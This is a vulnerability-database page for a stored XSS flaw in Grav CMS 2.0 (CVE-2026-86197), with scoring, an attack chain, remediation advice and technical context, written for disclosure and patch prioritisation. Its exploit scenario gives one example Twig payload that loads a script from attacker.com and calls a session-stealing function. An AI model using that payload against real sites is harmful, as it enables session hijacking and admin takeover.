Skip to main content

Grav CMS CVE-2026-86197

| EUVDEUVD-2026-71999 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-09-05 VulnCheck GHSA-5pmv-xr2f-mrf8
5.1
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate as low-privilege page editor
  2. Delivery
    Embed malicious addJs() Twig call in page body
  3. Exploit
    Publish page (XSS scanner passes payload)
  4. Install
    Administrator or visitor loads the page
  5. C2
    Unescaped script tag emitted into document head
  6. Execute
    Attacker JavaScript executes in victim browser
  7. Impact
    Session token or credentials exfiltrated

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires an authenticated account with page-edit rights on a Grav 2.0 installation running the default configuration (security.twig_content.process_enabled: true and no explicit process: { twig: false } in the target page's frontmatter). No special permissions beyond basic page editing are needed - the sandbox allowlist applies to all page editors regardless of whether the admin.pages_twig permission or the per-page Twig override checkbox is granted. A passive victim (any site visitor, including administrators) must load the affected page to trigger JavaScript execution. Grav 1.7 installations are not affected. Sites where page editing is restricted exclusively to fully trusted administrators have no realistic exploitation surface.

Impact

The CVSS 4.0 score of 5.1 (Medium) reflects the PR:L (authenticated page editor) and UI:P (passive victim page load) constraints, which correctly limit the raw score. However, the real-world risk to multi-author Grav 2.0 instances is meaningfully higher than the score suggests: because the injected script executes in every visitor's browser including administrators, a low-privilege compromise can escalate to full site takeover via session hijacking or credential theft. The XSS scanner bypass is a compounding factor - standard Grav defences do not flag the payload at save time, making detection difficult without server-side log analysis. The CVSS 4.0 subsequent-system impact (SC:L/SI:L) acknowledges the admin-escalation path but conservatively scores it as low. No KEV listing and no confirmed public POC are recorded at time of analysis, indicating no observed mass exploitation. EPSS data was not supplied. For sites with untrusted or externally managed page editors, risk should be treated as elevated regardless of the numeric score.

Exploit ScenarioDerived

A user holding only page-editor rights creates or edits a Grav page and inserts a Twig expression such as {{ assets.addJs('https://attacker.com/c2.js" onload="stealSession()') }} into the page body. Because addJs is allowlisted and returns an object key rather than markup, Grav's XSS scanner passes the content as safe. When any site visitor - including an administrator - loads the published page, the theme emits an unescaped <script src> tag into the document head, executing the attacker's JavaScript in the victim's browser and potentially delivering session tokens or admin credentials to the attacker.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 05, 2026

Stored XSS in Grav CMS before 2.0.20 lets low-privileged page editors inject arbitrary JavaScript that executes in every visitor's browser, including administrators, by abusing the Twig content sandbox's allowlisted addJs/addCss methods on Grav\Common\Assets. The asset URL is concatenated directly into <script src> and <link href> tags in the document head without output escaping, and Grav's built-in XSS scanner cannot detect the payload because addJs() mutates the shared Assets service and returns only an object key - no inspectable markup is produced at scan time. Vendor-released patch Grav 2.0.20 is available; no public exploit has been identified at time of analysis.

RemediationAI

Upgrade to Grav 2.0.20, which applies the fix in commit a4e8c4b748eb338ee7ab1dd26e7620a93bade047 and addresses the unescaped output sink in the asset rendering pipeline. The canonical advisory is https://github.com/getgrav/grav/security/advisories/GHSA-8hgv-xc77-jmcr. If immediate upgrade is not possible, the most effective compensating control is to restrict page-edit rights exclusively to fully trusted users, since the exploit requires an authenticated editor account. Operators can also set security.twig_content.process_enabled: false in user/config/security.yaml to disable Twig rendering in page content entirely, but this will break any pages that legitimately use Twig shortcodes or plugins that depend on content-level Twig processing. Removing addcss and addjs from the sandbox allowlist in SandboxDefaults.php is a targeted workaround but requires patching the framework manually and will need to be reapplied after any Grav core update.

Affected VersionsENISA

grav 0 <2.0.20

Affected Packages

composer getgrav/grav fix: 2.0.20
euvd grav fix: 2.0.20

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Grav is a flat-file PHP CMS that in its 2.0 branch renders editor-authored Twig templates inside page content by default, governed by a sandbox policy defined in system/src/Grav/Common/Twig/Sandbox/SandboxDefaults.php. The sandbox allowlists the addcss and addjs methods on Grav\Common\Assets, authorising their invocation from untrusted page Twig. The flaw (CWE-79: Improper Neutralization of Input During Web Page Generation) lies in the downstream render sink: Assets/Js.php:46 (and analogous files for CSS, Link, JsModule) builds the HTML tag by plain string concatenation - '<script src="' . trim($this->asset) . $this->renderQueryString() . '"' . $this->renderAttributes() - with no escaping applied to the attacker-controlled asset string. Because the sandbox policy arbitrates the method *call*, not its rendered output, the sanitisation boundary and the output sink are entirely disconnected. The affected CPE is cpe:2.3:a:getgrav:grav:*:*:*:*:*:*:*:* covering all 2.0 releases up to and including 2.0.19; Grav 1.7 does not use the Twig content sandbox and is not affected.

Know when Grav gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
vuln.today AI 5.4 MEDIUM

PR:L for authenticated page-editor requirement; S:C because injected script executes in admin browser context; UI:R for passive victim page load; no availability impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

1
Patch available
Sep 05, 2026 - 14:16 EUVD

DescriptionCVE.org

Grav before 2.0.20 contains a cross-site scripting vulnerability in the Twig sandbox policy that allowlists addJs and addCss methods on Grav\Common\Assets without proper output escaping. Page editors can inject arbitrary script by registering malicious assets or injecting attributes, which are rendered unescaped into document head tags and executed for all visitors including administrators.

Threat Intelligence Overview

EPSS Score
0.3%
Top 83% exploitable
Prevalence
Low
niche PHP flat-file CMS, primarily developer and hobbyist deployments
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in Grav

View all
CVE-2025-66294 HIGH POC
8.7 Dec 01

Server-side template injection (SSTI) in Grav (getgrav/grav) prior to 1.8.0-beta.27 allows an authenticated attacker hol

CVE-2025-66301 HIGH POC
8.6 Dec 01

Broken access control in Grav CMS (CWE-285) before 1.8.0-beta.27 lets an authenticated editor-level user escalate their

CVE-2025-50286 HIGH POC
8.1 Aug 06

A Remote Code Execution (RCE) vulnerability in Grav CMS v1.7.48 allows an authenticated admin to upload a malicious plug

CVE-2024-34082 CRITICAL POC
9.9 May 15

Grav is a file-based Web platform. Rated critical severity (CVSS 9.9), this vulnerability is remotely exploitable, low a

CVE-2021-47812 CRITICAL POC
9.8 Jan 16

GravCMS 1.10.7 allows unauthenticated remote attackers to write arbitrary YAML configuration files, leading to full serv

CVE-2026-65008 CRITICAL POC
9.3 Jul 21

Remote code execution in Grav CMS 2.0.4 (fixed in 2.0.7) lets an authenticated user holding the admin.pages or api.pages

CVE-2026-75827 CRITICAL POC
9.3 Aug 18

Remote code execution in Grav CMS before 2.0.15 allows attackers holding page-edit or blueprint-config privileges to wri

CVE-2026-75837 CRITICAL POC
9.3 Aug 18

Vertical privilege escalation in Grav CMS before 2.0.14 lets a delegated administrator holding only the admin.users perm

CVE-2026-75828 CRITICAL POC
9.3 Aug 18

Stored cross-site scripting in Grav CMS before 2.0.15 lets authenticated editors smuggle JavaScript event handlers past

CVE-2025-66844 CRITICAL POC
9.1 Dec 15

Server-side request forgery (SSRF) in Grav CMS versions prior to 1.7.49.5 allows remote authenticated attackers to make

CVE-2025-66299 HIGH POC
8.8 Dec 01

Grav is a file-based Web platform. Prior to 1.8.0-beta.27, Grav CMS is vulnerable to a Server-Side Template Injection (S

CVE-2026-72819 HIGH POC
8.7 Aug 14

Remote code execution in Grav CMS before 2.0.13 allows authenticated low-privilege users to plant and execute arbitrary

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy